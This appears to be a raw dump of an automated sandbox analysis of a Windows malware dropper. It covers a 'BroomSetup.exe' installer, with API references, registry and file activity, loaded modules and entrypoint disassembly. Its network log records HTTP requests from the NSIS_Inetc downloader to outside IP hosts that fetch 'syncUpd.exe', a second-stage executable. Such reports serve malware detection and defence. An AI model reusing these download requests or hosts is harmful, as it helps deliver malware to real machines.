"00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPlacement"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetScrollRange"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetScrollPos"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetScrollInfo"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetParent"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetMenuItemInfoW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetMenu"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetCursorPos"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetCaretPos"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetCapture"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ScrollWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RemoveMenu"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ReleaseCapture"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "PtInRect"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "OffsetRect"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "MoveWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp")32:T6a7,"Software\Microsoft\Windows\CurrentVersion" in Source: 46d44e00b19778dfb3f9615c774c8589 "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005136.00000000.66966.00408000.00000002.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00005136.00000000.66966.03350000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005136.00000000.66966.03350000.00000004.mdmp "Software\Wow6432`" in Source: 00000000-00007532.00000000.67131.03200000.00000004.mdmp 00000000-00007532.00000001.69050.03200000.00000004.mdmp 00000000-00007532.00000002.70970.03200000.00000004.mdmp "Software\Wow6432" in Source: 00000000-00007532.00000000.67131.03200000.00000004.mdmp 00000000-00007532.00000001.69050.03200000.00000004.mdmp 00000000-00007532.00000002.70970.03200000.00000004.mdmp "sSoftware\Wow6432" in Source: 00000000-00007532.00000000.67131.03200000.00000004.mdmp 00000000-00007532.00000001.69050.03200000.00000004.mdmp 00000000-00007532.00000002.70970.03200000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007532.00000001.69050.03200000.00000004.mdmp 00000000-00007532.00000002.70970.03200000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007532.00000001.69050.03200000.00000004.mdmp 00000000-00007532.00000002.70970.03200000.00000004.mdmp "istry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00007532.00000001.69050.03200000.00000004.mdmp "try\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00007532.00000002.70970.03200000.00000004.mdmp33:T551,"GET /cpa/ping.php?substr=eight&s=ab HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 05 Feb 2024 04:00:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /syncUpd.exe HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.127 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 05 Feb 2024 04:00:52 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon 05 Feb 2024 04:00:02 GMT ETag: "47a00-6109a7f012a12" Accept-Ranges: bytes Content-Length: 293376 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000....... "GET /ping.php?substr=eight HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.127 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 05 Feb 2024 04:00:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>.......34:T1b19,"46d44e00b19778dfb3f9615c774c8589.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76270000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76270000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76270000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "KERNEL32" at base 76180000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73cf0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74030000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 733a0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 75b80000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "NTDLL.DLL" at base 776d0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73a80000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 734e0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 73c90000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 740e0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 73340000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 76e50000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 73b30000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73850000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 73330000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "KERNEL32.DLL" at base 76180000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%TEMP%\NSQEDB3.TMP\INETC.DLL" at base 10000000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "COMCTL32.DLL" at base 73d90000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "RPCRT4.DLL" at base 74500000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "SSPICLI.DLL" at base 740f0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "USER32.DLL" at base 77200000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72b50000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "WINHTTP.DLL" at base 72aa0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72b50000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "WININET" at base 73060000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73f90000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76180000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "MSISO.DLL" at base 728a0000 "46d44e00b19778dfb3f9615c774c8589.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 743f0000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76270000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76270000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76270000 "BroomSetup.exe" loaded module "KERNEL32" at base 76180000 "BroomSetup.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73cf0000 "BroomSetup.exe" loaded module "KERNEL32.DLL" at base 76180000 "BroomSetup.exe" loaded module "WKSCLI.DLL" at base 73430000 "BroomSetup.exe" loaded module "RPCRT4.DLL" at base 74500000 "BroomSetup.exe" loaded module "CSCAPI.DLL" at base 73400000 "BroomSetup.exe" loaded module "MSCTF.DLL" at base 76d00000 "BroomSetup.exe" loaded module "IMM32.DLL" at base 74720000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74030000 "BroomSetup.exe" loaded module "WTSAPI32.DLL" at base 737a0000 "BroomSetup.exe" loaded module "NTDLL.DLL" at base 776d0000 "BroomSetup.exe" loaded module "UXTHEME.DLL" at base 74030000 "BroomSetup.exe" loaded module "USER32.DLL" at base 77200000 "BroomSetup.exe" loaded module "COMCTL32.DLL" at base 72e20000 "BroomSetup.exe" loaded module "COLORUI.DLL" at base 72800000 "BroomSetup.exe" loaded module "SHELL32.DLL" at base 74830000 "BroomSetup.exe" loaded module "COMDLG32.DLL" at base 76460000 "BroomSetup.exe" loaded module "COMPSTUI.DLL" at base 72850000 "BroomSetup.exe" loaded module "INETRES.DLL" at base 4f40000 "BroomSetup.exe" loaded module "MSIMG32.DLL" at base 72890000 "BroomSetup.exe" loaded module "GDIPLUS.DLL" at base 73860000 "BroomSetup.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 73860000 "BroomSetup.exe" loaded module "UXTHEME" at base 74030000 "BroomSetup.exe" loaded module "USER32" at base 77200000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 734e0000 "BroomSetup.exe" loaded module "DWMAPI.DLL" at base 73c90000 "BroomSetup.exe" loaded module "GDI32.DLL" at base 74470000 "BroomSetup.exe" loaded module "SHCORE.DLL" at base 76c70000 "BroomSetup.exe" loaded module "COMCTL32" at base 72e20000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76d00000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 773d0000 "nsgF90E.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76270000 "nsgF90E.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76270000 "nsgF90E.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76270000 "nsgF90E.tmp" loaded module "KERNEL32" at base 76180000 "nsgF90E.tmp" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73cf0000 "nsgF90E.tmp" loaded module "MSIMG32.DLL" at base 72890000 "nsgF90E.tmp" loaded module "KERNEL32.DLL" at base 76180000 "nsgF90E.tmp" loaded module "USER32" at base 77200000 "nsgF90E.tmp" loaded module "NTDLL.DLL" at base 776d0000 "nsgF90E.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74030000 "cmd.exe" loaded module "KERNEL32" at base 76180000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76270000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76270000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76270000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74720000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76270000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76270000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76270000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73cf0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 76180000 "cmd.exe" loaded module "NTDLL.DLL" at base 776d000035:T6ea,"46d44e00b19778dfb3f9615c774c8589" file has an entrypoint instructions - "sub esp, 0x3f8,push ebp,push esi,push edi,push 0x20,pop edi,xor ebp, ebp,push 0x8001,mov dword ptr [esp + 0x20], ebp,mov dword ptr [esp + 0x18], 0x40a2d8,mov dword ptr [esp + 0x14], ebp,call dword ptr [0x4080a4],mov esi, dword ptr [0x4080a8],lea eax, [esp + 0x34],push eax,mov dword ptr [esp + 0x4c], ebp,mov dword ptr [esp + 0x14c], ebp,mov dword ptr [esp + 0x150], ebp,mov dword ptr [esp + 0x38], 0x11c,call esi,test eax, eax,jne 0x4035be,lea eax, [esp + 0x34],mov dword ptr [esp + 0x34], 0x114,push eax,call esi," "INetC.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],mov dword ptr [0x10005d94], eax,xor eax, eax,inc eax,ret 0xc,mov eax, dword ptr [0x1000a758],test eax, eax,push esi,je 0x100045f9,mov esi, dword ptr [eax],test esi, esi,je 0x100045f9,cmp dword ptr [esp + 8], 0,je 0x100045ea,lea eax, [esi + 4],push eax,push dword ptr [esp + 0xc],call dword ptr [0x10001008],mov eax, dword ptr [0x1000a758],mov ecx, dword ptr [esi],push esi,mov dword ptr [eax], ecx,call dword ptr [0x10001078],xor eax, eax,jmp 0x100045fc,xor eax, eax,inc eax,pop esi,ret 4,cmp dword ptr [0x1000a758], 0,je 0x1000463e,mov eax, dword ptr [0x1000a75c],push esi,lea eax, [eax + eax + 8],push eax," "nsgF90E.tmp" file has an entrypoint instructions - "call 0x404491,jmp 0x401598,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x439158], eax,mov dword ptr [0x439154], ecx,mov dword ptr [0x439150], edx,mov dword ptr [0x43914c], ebx,mov dword ptr [0x439148], esi,mov dword ptr [0x439144], edi,mov word ptr [0x439170], ss,mov word ptr [0x439164], cs,mov word ptr [0x439140], ds,mov word ptr [0x43913c], es,mov word ptr [0x439138], fs,mov word ptr [0x439134], gs,pushfd ,"36:T5a3,"46d44e00b19778dfb3f9615c774c8589.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "46d44e00b19778dfb3f9615c774c8589.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "46d44e00b19778dfb3f9615c774c8589.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "46d44e00b19778dfb3f9615c774c8589.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "nsgF90E.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "nsgF90E.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "nsgF90E.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")37:T54c,Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00005136-00000C25-53016493] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00005136-00000C25-53070474] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00005136-00000C25-53119288] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00005136-00000C25-53320247] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00005136-00000C25-53366283] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00005136-00000C25-53424904] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00005136-00000C25-53468397] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00005136-00000C25-53524136] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00005136-00000C25-53572325] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00005136-00000C25-53621800] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00005136-00000C25-53671151] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00005136-00000C25-53721693]38:T8bf,"46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}\"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{CF69D5AC-242F-11EB-9BFF-806E6F6E6963}\"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}\"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\"; Key: ""; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "OPEN"; Path: "HKLM\ZONEMAP\RANGES\"; Key: ""; Value: "")39:Tdca,"46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{CF69D5AC-242F-11EB-9BFF-806E6F6E6963}"; Key: "DATA"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{CF69D5AC-242F-11EB-9BFF-806E6F6E6963}"; Key: "GENERATION"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "DATA"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "GENERATION"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "SECURITY_HKLM_ONLY"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0"; Key: "FLAGS"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\1"; Key: "FLAGS"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\2"; Key: "FLAGS"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: "FLAGS"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4"; Key: "FLAGS"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "46D44E00B19778DFB3F9615C774C8589.EXE"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "*"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "46D44E00B19778DFB3F9615C774C8589.EXE"; Value: "") "46d44e00b19778dfb3f9615c774c8589.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "*"; Value: "")3a:T704,"46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\ping[1].htm" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\syncUpd[1].exe" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\ping[1].htm" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "46d44e00b19778dfb3f9615c774c8589.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" 